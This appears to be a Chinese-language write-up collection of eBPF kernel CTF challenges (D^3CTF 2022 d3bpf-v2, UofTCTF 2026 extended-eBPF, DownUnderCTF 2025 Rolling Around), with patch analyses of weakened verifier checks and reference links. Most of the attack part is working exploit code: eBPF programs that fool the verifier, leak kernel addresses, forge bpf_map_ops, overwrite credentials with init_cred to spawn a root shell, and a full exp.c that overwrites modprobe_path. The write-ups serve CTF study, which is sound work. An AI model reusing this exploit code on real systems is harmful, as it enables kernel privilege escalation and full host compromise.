uint64_t map_ptr_values = map_ptr + 0x110;
uint64_t kbase = array_map_ops - ARRAY_MAP_OPS_OFFSET;
uint64_t __per_cpu_offset = kbase + PERCPU_OFFSET;
printf("array_map_ops: %p\nkbase: %p\nmap_ptr: %p\n", (void *)array_map_ops, (void *)kbase, (void *)map_ptr);
struct bpf_insn overwrite_ops[] = {
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
// setup fake bpf_map_ops struct with only needed values
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), // move map_ptr + 0x110
BPF_MOV64_IMM(BPF_REG_0, kbase + ARRAY_MAP_UPDATE_ELEM_OFFSET),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0x60),
BPF_MOV64_IMM(BPF_REG_0, kbase + ARRAY_MAP_LOOKUP_ELEM_OFFSET),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0x58),
BPF_MOV64_IMM(BPF_REG_0, kbase + 0x20e9c0), // array_of_map_gen_lookup
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 19 * 8),
BPF_MOV64_IMM(BPF_REG_0, kbase + 0x20eff0), // array_map_free
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 3 * 8),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_LD_MAP_FD(BPF_REG_1, arb_read_write_map_fd),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), // get values ptr
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
// trigger vuln
BPF_MOV64_IMM(BPF_REG_0, 0x110),
BPF_MOV64_IMM(BPF_REG_1, 64),
BPF_ALU64_REG(BPF_RSH, BPF_REG_0, BPF_REG_1),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_0),
BPF_LD_IMM64(BPF_REG_0, map_ptr_values),
// overwrite map_ops with oob_map_ptr
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
run_bpf_prog(overwrite_ops, sizeof(overwrite_ops)/sizeof(overwrite_ops[0]));
struct bpf_insn arb_read_write[] = {
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, 0, -4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_LD_MAP_FD(BPF_REG_1, arb_read_write_map_fd),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), // will use array_of_map_gen_lookup
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_LD_ABS(BPF_B, 0),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // decide bit for arb_read or arb_write
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_LD_MAP_FD(BPF_REG_1, info_map_fd),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JEQ, BPF_REG_9, 1, 4),
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // arb_read
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // arb_write
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
setup_bpf_prog(arb_read_write, sizeof(arb_read_write)/sizeof(arb_read_write[0]));
uint64_t current_task_struct = arb_read(arb_read(__per_cpu_offset) + current_task);
uint64_t init_cred = kbase + INIT_CRED_OFFSET;
arb_write(current_task_struct + CRED_OFFSET, init_cred);
system("/bin/sh");
}D^3CTF 2022__d3bpf-v2
5.16.12 版本的内核,ALU sanitizer 加强了检测
这里改用bpf_skb_load_bytes这个 helper function 来实现利用,to 参数设置为 bpf stack ,len 参数利用 corrupted register 构造一个大于 bpf 栈长度的数
当我们往 sock 里 write 进我们的 ROP 链之后,bpf 程序就会把 rop 链拷贝到 bpf 栈中,造成了栈溢出
这道题目中,泄露地址是通过栈溢出来破坏栈,导致内核的 soft panic,就会打印出一些地址
再进行内核 ROP 即可
具体exp查看:https://github.com/chujDK/d3ctf2022-pwn-d3bpf-and-v2
UofTCTF 2026 - extended-eBPF
账号输入ctf即可登录,再cd /
内核版本:6.12.47
patch分析
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 24ae8f33e5d7..e5641845ecc0 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -13030,7 +13030,7 @@ static int retrieve_ptr_limit(const struct bpf_reg_state *ptr_reg,
static bool can_skip_alu_sanitation(const struct bpf_verifier_env *env,
const struct bpf_insn *insn)
{
- return env->bypass_spec_v1 || BPF_SRC(insn->code) == BPF_K;
+ return true;
}
static int update_alu_sanitation_state(struct bpf_insn_aux_data *aux,
@@ -14108,7 +14108,7 @@ static bool is_safe_to_compute_dst_reg_range(struct bpf_insn *insn,
case BPF_LSH:
case BPF_RSH:
case BPF_ARSH:
- return (src_is_const && src_reg->umax_value < insn_bitness);
+ return (src_reg->umax_value < insn_bitness);
default:
return false;
}- 禁掉了
ALU Sanitation, - 在
adjust_scalar_min_max_vals中会调用到is_safe_to_compute_dst_reg_range:
if (!is_safe_to_compute_dst_reg_range(insn, &src_reg)) {
__mark_reg_unknown(env, dst_reg);
return 0;
}也就是说,src可以不为const(一个已知确定的数),并且BPF_LSH BPF_RSH BPF_ARSH的时候满足src_reg->umax_value < insn_bitness的话,这个寄存器就是已知安全的
(对于 BPF_ALU64 类指令(64 位运算),insn_bitness 则为 64)
构造verifier和runtime不一致的寄存器
is_safe_to_compute_dst_reg_range会被下面这个函数调用:
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
// ...
if (!is_safe_to_compute_dst_reg_range(insn, &src_reg)) {
__mark_reg_unknown(env, dst_reg);
return 0;
}
switch (opcode) {
// ...
case BPF_ARSH:
if (alu32)
scalar32_min_max_arsh(dst_reg, &src_reg);
else
scalar_min_max_arsh(dst_reg, &src_reg);
break;
default:
break;
}
// ...
}其中scalar_min_max_arsh:
static void scalar_min_max_arsh(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
u64 umin_val = src_reg->umin_value;
dst_reg->smin_value >>= umin_val;
dst_reg->smax_value >>= umin_val;
//...
}利用arsh即可构造不一致寄存器:
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_LDX_MEM(BPF_W, BPF_REG_8, BPF_REG_7, 0),
BPF_ALU64_IMM(BPF_AND, BPF_REG_8, 1),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_ALU64_REG(BPF_ARSH, BPF_REG_0, BPF_REG_8), // the bug verifier thinks REG_0 is 1 while is 0
BPF_MOV64_IMM(BPF_REG_9, 1),
BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_0), // verifier thinks REG_9 is 0 while is 1把runtime为1的值读入reg8,and运算后verifier认为它是[0,1]
接着进行1 arsh reg8,由于arsh运算取的是umin_val,这里的umin_val为0,所以verifier认为它是1,实际上它是0
利用过程
有了 inconsisten register,就可以把 ops 写入 value 中,泄露出 kernel_base
bpf_map 结构体中有 bpf_array 的地址,可以泄露出来
任意地址写
新创建一个 map,往里面写入 fake_ops ,覆盖其中的 map_push_elem 元素为 map_get_next_key 函数指针
然后,修改 bpf_map 结构体中的:
map_type,修改为 BPF_MAP_TYPE_STACKmax_entries,修改为 0xffffffff,即 -1spin_lock_off,修改为 0
这样调用 map_update_elem 的时候,其实调用到了 stack_map_ops 的 map_push_elem(因为),又因为 ops 中的这个位置被覆盖成了 map_get_next_key,所以会去调用 map_get_next_key
const struct bpf_map_ops stack_map_ops = {
.map_meta_equal = bpf_map_meta_equal,
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc,
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = stack_map_pop_elem,
.map_peek_elem = stack_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
.map_mem_usage = queue_stack_map_mem_usage,
.map_btf_id = &queue_map_btf_ids[0],
};
const struct bpf_map_ops array_map_ops = {
.map_meta_equal = array_map_meta_equal,
.map_alloc_check = array_map_alloc_check,
.map_alloc = array_map_alloc,
.map_free = array_map_free,
.map_get_next_key = array_map_get_next_key,
.map_release_uref = array_map_free_timers_wq,
.map_lookup_elem = array_map_lookup_elem,
.map_update_elem = array_map_update_elem,
.map_delete_elem = array_map_delete_elem,
.map_gen_lookup = array_map_gen_lookup,
.map_direct_value_addr = array_map_direct_value_addr,
.map_direct_value_meta = array_map_direct_value_meta,
.map_mmap = array_map_mmap,
.map_seq_show_elem = array_map_seq_show_elem,
.map_check_btf = array_map_check_btf,
.map_lookup_batch = generic_map_lookup_batch,
.map_update_batch = generic_map_update_batch,
.map_set_for_each_callback_args = map_set_for_each_callback_args,
.map_for_each_callback = bpf_for_each_array_elem,
.map_mem_usage = array_map_mem_usage,
.map_btf_id = &array_map_btf_ids[0],
.iter_seq_info = &iter_seq_info,
};然后在执行 map_get_next_key 函数时,会发生内存的写入:
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) {
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1;
return 0;
}修改 max_entries 和 spin_lock_off 是为了能正常执行到函数最后
我们传入的 value 就是最后的 key,flags 就是最后的 next_key,所以我们构造 value 和 flags 就可以实现 *(u32*)flags = *(u32*)value + 1 的写入
exp
#include <linux/bpf_common.h>
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <syscall.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/bpf.h>
#include "bpf_insn.h"
#include <stdbool.h>
/**
* Kernel Pwn Infrastructures
**/
#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"
#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))
#define ARRAY_MAP_GET_NEXT_KEY_OFFSET 0x1d3b40
size_t kernel_base = 0xffffffff81000000, kernel_offset;
size_t modprobe_offset = 0x10be1e0;
void get_flag() {
log_info("Backing from the kernelspace.\n");
system("echo -ne \"\xff\\xff\\xff\\xff\" > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("echo \"#!/bin/sh\" >> /tmp/modprobe");
system("echo \"cp /flag /tmp/flag && chmod a+r /tmp/flag\" >> /tmp/modprobe");
system("chmod +x /tmp/modprobe");
char *args[] = {"/tmp/dummy", NULL};
char *env[] = {NULL};
execve("/tmp/dummy", args, env);
// execve("/tmp/dummy", NULL, NULL);
system("cat /tmp/flag");
}
/**
* Challenge Interface
**/
int socks[2] = {-1};
int bpf(int cmd, union bpf_attr *attr){
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}
int bpf_prog_load(union bpf_attr *attr){
return bpf(BPF_PROG_LOAD, attr);
}
int bpf_map_create(uint32_t key_size, uint32_t value_size, uint32_t max_entries){
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE, &attr);
}
int bpf_map_update_elem(int map_fd, uint64_t key, uint64_t* value, uint64_t flags){
/*
* size_t modprobe_addr = kbase + modprobe_offset;
* bpf_map_update_elem(map_fd, 0, &modprobe_addr, BPF_ANY);
*/
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) value,
.flags = flags
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
uint64_t bpf_map_lookup_elem(int map_fd, uint32_t key, int index){
uint64_t value[0x150/8] = {};
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) &value,
};
bpf(BPF_MAP_LOOKUP_ELEM, &attr);
return value[index];
}
union bpf_attr* create_bpf_prog(struct bpf_insn *insns, unsigned int insn_cnt){
union bpf_attr *attr = (union bpf_attr *) malloc(sizeof(union bpf_attr));
attr->prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
attr->insn_cnt = insn_cnt;
attr->insns = (uint64_t) insns;
attr->license = (uint64_t)"";
return attr;
}
void attach_socket(int prog_fd){
if(socks[0] == -1 && socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0){
perror("socketpair");
exit(1);
}
if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0){
perror("setsockopt");
exit(1);
}
}
void setup_bpf_prog(struct bpf_insn *insns, uint insncnt){
union bpf_attr *prog = create_bpf_prog(insns, insncnt);
int prog_fd = bpf_prog_load(prog);
if(prog_fd < 0){
perror("prog_load");
exit(1);
}
attach_socket(prog_fd);
}
// void setup_bpf_prog(struct bpf_insn *insns, uint insncnt) {
// static char log_buf[1024 * 1024];
//
// union bpf_attr *prog = create_bpf_prog(insns, insncnt);
//
// prog->log_level = 2; // 级别 2 会显示指令重写 (Patching) 详情
// prog->log_buf = (uint64_t)log_buf;
// prog->log_size = sizeof(log_buf);
//
// int prog_fd = bpf_prog_load(prog);
//
// //打印日志
// if (prog_fd < 0) {
// printf("--- Verifier Log (Error) ---\n%s\n", log_buf);
// perror("prog_load");
// exit(1);
// } else {
// printf("--- Verifier Log (Success) ---\n%s\n", log_buf);
// }
//
// attach_socket(prog_fd);
// free(prog);
// }
void run_bpf_prog(struct bpf_insn *insns, uint insncnt){
int val = 0;
setup_bpf_prog(insns, insncnt);
write(socks[1], &val, sizeof(val));
}
uint64_t leak_addr_from_map(int map_fd, int offset, bool is_sub){
if(is_sub == false){
uint32_t key = 0;
uint64_t value = 1;
bpf_map_update_elem(map_fd, key, &value, BPF_ANY); // position 0 = 1
struct bpf_insn leak_kernel_addr[] = {
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0), //*(u64 *)(reg10-4) = 0
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), //r2 = reg10
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), //r2 = reg10 - 4
BPF_LD_MAP_FD(BPF_REG_1, map_fd), //r1 = map_fd
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), //rdi = map_fd; rsi = 0 ; reg0 = map_value
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), //reg6 = map_ptr
BPF_MOV64_IMM(BPF_REG_0, 0), //r0 = 0
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0), //reg7=*reg6;verifier reg7[0,u64_max];runtime reg7 = 1
BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1), // verifier reg7[0,1]
BPF_MOV64_IMM(BPF_REG_8, 1), // reg8 = 1
BPF_ALU64_REG(BPF_ARSH, BPF_REG_8, BPF_REG_7), //reg8 arsh reg7; verifier = 1; runtime = 0
BPF_MOV64_IMM(BPF_REG_9, 1), //reg9 = 1
BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_8), // reg9 -= reg8; r9:verifier = 0;runtime = 1
BPF_ALU64_IMM(BPF_MUL, BPF_REG_9, offset), // reg9_runtime = 0xf8 ; reg9_verifier = 0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_6), //reg7 = reg6 = map_ptr
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_9), //reg7 = reg7 - reg9 = ops
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), //r8 = *r7
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0), //*r6 = r8;value_ptr = ops
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
run_bpf_prog(leak_kernel_addr,sizeof(leak_kernel_addr)/sizeof(leak_kernel_addr[0]));
}else{
uint32_t key = 0;
uint64_t value = 1;
bpf_map_update_elem(map_fd, key, &value, BPF_ANY); // position 0 = 1
struct bpf_insn leak_physmap[] = {
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0), //*(u64 *)(reg10-4) = 0
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), //r2 = reg10
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), //r2 = reg10 - 4
BPF_LD_MAP_FD(BPF_REG_1, map_fd), //r1 = map_fd
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), //rdi = map_fd; rsi = 0 ; reg0 = map_value
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), //reg6 = map_ptr
BPF_MOV64_IMM(BPF_REG_0, 0), //r0 = 0
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0), //reg7=*reg6;verifier reg7[0,u64_max];runtime reg7 = 1
BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1), // verifier reg7[0,1]
BPF_MOV64_IMM(BPF_REG_8, 1), // reg8 = 1
BPF_ALU64_REG(BPF_ARSH, BPF_REG_8, BPF_REG_7), //reg8 arsh reg7; verifier = 1; runtime = 0
BPF_MOV64_IMM(BPF_REG_9, 1), //reg9 = 1
BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_8), // reg9 -= reg8; r9:verifier = 0;runtime = 1
BPF_ALU64_IMM(BPF_MUL, BPF_REG_9, offset), // reg9_runtime = 0x88; reg9_verifier = 0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_6), //reg7 = reg6 = map_ptr
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_9), //reg7 = reg7 - reg9 = physmap_addr
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), //r8 = *r7
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0), //*r6 = r8;value_ptr = physmap_addr
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
run_bpf_prog(leak_physmap,sizeof(leak_physmap)/sizeof(leak_physmap[0]));
}
return bpf_map_lookup_elem(map_fd, 0, 0);
}
void write_to_map(int map_fd, int offset,uint64_t value){
uint32_t key = 0;
uint64_t tmp = 1;
bpf_map_update_elem(map_fd, key, &tmp, BPF_ANY); // position 0 = 1
struct bpf_insn prog[] = {
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0), //*(u64 *)(reg10-4) = 0
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), //r2 = reg10
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), //r2 = reg10 - 4
BPF_LD_MAP_FD(BPF_REG_1, map_fd), //r1 = map_fd
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), //rdi = map_fd; rsi = 0 ; reg0 = map_value
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), //reg6 = map_ptr
BPF_MOV64_IMM(BPF_REG_0, 0), //r0 = 0
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0), //reg7=*reg6;verifier reg7[0,u64_max];runtime reg7 = 1
BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1), // verifier reg7[0,1]
BPF_MOV64_IMM(BPF_REG_8, 1), // reg8 = 1
BPF_ALU64_REG(BPF_ARSH, BPF_REG_8, BPF_REG_7), //reg8 arsh reg7; verifier = 1; runtime = 0
BPF_MOV64_IMM(BPF_REG_9, 1), //reg9 = 1
BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_8), // reg9 -= reg8; r9:verifier = 0;runtime = 1
BPF_ALU64_IMM(BPF_MUL, BPF_REG_9, offset), // reg9_runtime = 0x88; reg9_verifier = 0
BPF_ALU64_REG(BPF_SUB, BPF_REG_6, BPF_REG_9), // r6 -= r9
// BPF_ST_MEM(BPF_DW, BPF_REG_6, 0, value), // *r6 = imm
BPF_LD_IMM64(BPF_REG_7, value),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
run_bpf_prog(prog,sizeof(prog)/sizeof(prog[0]));
}
/**
* Exploitation
**/
void exploitation(void)
{
uint64_t victim_map_addr;
int map_fd = bpf_map_create(4, 8, 1);
int victim_map = bpf_map_create(4, 8, 0x158/8);
uint64_t kbase = leak_addr_from_map(map_fd, 0xf8, false) - 0xc1d9a0;
printf("\033[32m\033[1m[*]kernel_base addr: %p\n\033[0m", (void *)kbase);
uint64_t map_addr = leak_addr_from_map(map_fd, 0x88, true) - 0x70;
printf("\033[32m\033[1m[*]map_addr: %p\n\033[0m", (void *)map_addr);
victim_map_addr = leak_addr_from_map(victim_map, 0x88, true) - 0x70;
printf("\033[32m\033[1m[*]victim_map_addr: %p\n\033[0m", (void *)victim_map_addr);
// write_to_map(map_fd, 0xf8, (uint64_t)0xdeedbeef);
size_t fake_array_map_ops[] = {
0xffffffff811d39d0, 0xffffffff811d4ca0, // 0x00: map_alloc_check, map_alloc
0x0000000000000000, 0xffffffff811d52c0, // 0x10: map_release, map_free
0xffffffff811d3b40, 0xffffffff811d4a30, // 0x20: map_get_next_key, map_release_uref
0x0000000000000000, 0xffffffff81197020, // 0x30: map_lookup_elem_sys_only, map_lookup_batch
0x0000000000000000, 0x0000000000000000, // 0x40: map_lookup_and_delete_elem, map_lookup_and_delete_batch
0xffffffff81196df0, 0x0000000000000000, // 0x50: map_update_batch, map_delete_batch
0xffffffff811d3d10, 0xffffffff811d5760, // 0x60: map_lookup_elem, map_update_elem
0xffffffff811d3b90, 0x0000000000000000, // 0x70: map_delete_elem, map_push_elem
0x0000000000000000, 0x0000000000000000, // 0x80: map_pop_elem, map_peek_elem
0x0000000000000000, 0x0000000000000000, // 0x90: map_looHup_percpu_elem, map_fd_get_ptr
0x0000000000000000, 0xffffffff811d4270, // 0xa0: map_fd_put_ptr, map_gen_lookup
0x0000000000000000, 0xffffffff811d40f0, // 0xb0: map_fd_sys_lookup_elem, map_seq_show_elem
0xffffffff811d50a0, 0x0000000000000000, // 0xc0: map_check_btf, map_poke_track
0x0000000000000000, 0x0000000000000000, // 0xd0: map_poke_untrack, map_poke_run
0xffffffff811d3a90, 0xffffffff811d3ae0, // 0xe0: map_direct_value_addr, map_direct_value_meta
0xffffffff811d4070, 0x0000000000000000, // 0xf0: map_mmap, map_poll
0x0000000000000000, 0x0000000000000000, // 0x100: map_get_unmapped_area, map_local_storage_charge
0x0000000000000000, 0x0000000000000000, // 0x110: map_local_storage_uncharge, map_owner_storage_ptr
0x0000000000000000, 0xffffffff811d5140, // 0x120: map_redirect, map_meta_equal
0xffffffff811be490, 0xffffffff811d3f60, // 0x130: map_set_for_each_callback_args, map_for_each_callback
0xffffffff811d3e30, 0xffffffff823e1b60, // 0x140: map_mem_usage, map_btf_id
0xffffffff81c1db00,
};
fake_array_map_ops[0x78/8] =0xffffffff811d3b40; //map_push_elem -> array_of_map_get_next_key
printf("fake_array_map_ops : %p",&fake_array_map_ops[0x78/8]);
for (int i = 0; i < sizeof(fake_array_map_ops)/sizeof(fake_array_map_ops[0]); i++){
if(fake_array_map_ops[i] != 0){
fake_array_map_ops[i] = fake_array_map_ops[i] - 0xffffffff81000000 + kbase;
}
bpf_map_update_elem(victim_map, i, &fake_array_map_ops[i], BPF_ANY);
}
write_to_map(map_fd, 0xf8, victim_map_addr+0xf8); // write ops
write_to_map(map_fd, 0xe0, 0xffffFFFF00000008); //write max_entries to 0xffffFFFF
write_to_map(map_fd, 0xe8, 0x0000000400000000 | BPF_MAP_TYPE_STACK); //overwrite map_type to stack
size_t modprobe_addr = kbase + modprobe_offset;
char *target1 = "/tmp/x";
size_t val1 = *(int *)(&target1[0]) - 1;
bpf_map_update_elem(map_fd, 0, &val1, modprobe_addr+1);
get_flag();
}
int main(int argc, char ** argv)
{
exploitation();
return 0;
}
//musl-gcc -w -s -static -o3 exp.c -masm=intel -o ./exp
//gcc exp.c -static -masm=intel -g -o ./initramfs/exp最后面调用 bpf_map_update_elem 调用了一次后,再次调用就调用不到 get_next_key 了,不知道为什么。不过能写4个字节就够打 modprobe 了
DownUnderCTF 2025_Rolling Around
patch分析
adjust_scalar_min_max_vals 多了一个 ROL 指令,
core.c中是这样计算32位rol的:
+ ALU_ROL_K:
+ DST = (((u32)DST) << IMM) | (((u32)DST) >> (32 - IMM));
+ CONT;但是verifier.c是这样的:
+static void __scalar32_min_max_rol(struct bpf_reg_state *dst_reg,
+ u64 umin_val, u64 umax_val)
+{
+ dst_reg->u32_min_value = (dst_reg->u32_min_value << umin_val) | (dst_reg->u32_min_value >> (64 - umin_val));
+ dst_reg->u32_max_value = (dst_reg->u32_max_value << umax_val) | (dst_reg->u32_max_value >> (64 - umax_val));
+}可以简化成:
+ DST = (((u32)DST) << IMM) | (((u32)DST) >> (64 - IMM)); 两个地方存在不一致
构造的方式就是:
dst = 2
dst rol 31ref
BPF之路一bpf系统调用,主要涉及ebpf的JIT部分
Linux内核eBPF虚拟机源码分析——verifier与jit
Linux内核eBPF虚拟机源码分析——verifier与jit
https://github.com/iovisor/bpf-docs/blob/master/eBPF.md
https://stdnoerr.blog/blog/eBPF-exploitation-D3CTF-d3bpf
https://196082.github.io/2023/01/06/d3bpf/
https://9anux.org/2025/07/24/ebpf/
https://github.com/DownUnderCTF/Challenges_2025_Public/tree/main/pwn/rolling_around